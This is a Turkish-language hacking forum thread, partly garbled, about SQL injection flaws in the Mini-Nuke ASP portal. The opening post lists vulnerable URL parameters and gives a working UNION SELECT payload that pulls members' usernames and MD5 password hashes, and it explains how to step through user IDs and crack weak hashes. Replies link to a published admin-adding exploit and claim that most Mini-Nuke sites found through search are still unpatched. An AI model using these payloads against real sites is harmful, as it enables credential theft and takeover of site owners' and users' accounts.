http:// /members. asp?action=member_details&uid=|sql enjeksiyon| http:// /articles. asp?action=articles&catid=|sql enjeksiyon| http:// /hpages. asp?id=|sql enjeksiyon| http:// /programs. asp?action=programs&catid=|sql enjeksiyon| http:// /forum. asp?action=Topics&id=|sql enjeksiyon| http:// /pages. asp?id=|sql enjeksiyon| şimdi grdüğüz gibi id='den sonraki kısımlarda istediğimiz sql enjeksiyon şeklini yapabiliyoruz... rneğin admin'in veya üyelerin md5 halindeki şifrelerini ğrenebiliriz... tabi eğer adminimiz kompleks bir şifre belirlememişse kırabiliriz md5 hash'ını:)http://siteadı.com/pages. asp?id=1%20union+select+0, kul_adi, sifre,0,0+ from+members+where+uye_id=1kodunu mini-nuke kurulu sitede denediğimizde bize id'si 1 olan yani adminin md5 halindeki şifresini verecektir... ayrıca id numarasını üyeler sayfasından ğrenip uye_id=1 kısmına 2,3,4 gibi üye id'leri belirtip id üzeri herhangi bir kullanıcının şifresini md5 halinde ğrenebiliriz... Nerde Gençliğim:(

peki mini nuke de hash i bile alsanız hackleyemiceinizi bilio musnuz?ayrıca bayaeski ama bilinmiodu bana taaaaa ebesinin... kadar yıl nce ejder gstermişti bunu

birincisi o pages. aspdeki açığı bulan benim ve benzeri açıkların bulunduğunuda yazdım taa kaç sene nce ejder deme fasafiso konuşma milw0rmdan okuyup yazıyorlardiğer birşey 1.8lerde admin şifresi değişir ancak panel şifresi ayrıdır. Bir diğer açık ise 2.3 gibi erdi ve ekibinin devam ettirdiği mininukede sistem daha değişik direk admin ekleyen bir açıkda var onda http://www.nukedx.com/?getxpl=31 adresinden grebilirsiniz exploiti http://www.milw0rm.com/exploits/1837 buda milw0rm yansısı I wish you bear with me, stay near me a. k. a nukedx

dediğin şeyi bir yerden duydum exploit ve duyduğuma gre iki kez md5 formatına çeviriyormuş... ve sanırsam da yle çünkü bi kaç tane denedim kırılmadı... bu sql numarası yle bilindik bişey zaten yaw:) ama bu 1.8 lerde cokkie'ye hashı ekleyerek bişeyler yapılıyordu sanırsam.. Nerde Gençliğim:(

holydemon bu eski bir açık değil sanırsam çünkü şimdi bile denediğim tüm mini-nuke tabanlı siteler yedi bu sql enjeksiyonu.. istersen sen de google"dan mini-nuke die türkiye de arat.. sadece genel sitelerinin boktan yollarla kapattığını grecen.. diğerlerinin %95"i yamalanmamış halde sql enjeksiyonu bekliyor:) Nerde Gençliğim:(

üstat bu cok eski yaaw

tşk kardeş ama eski...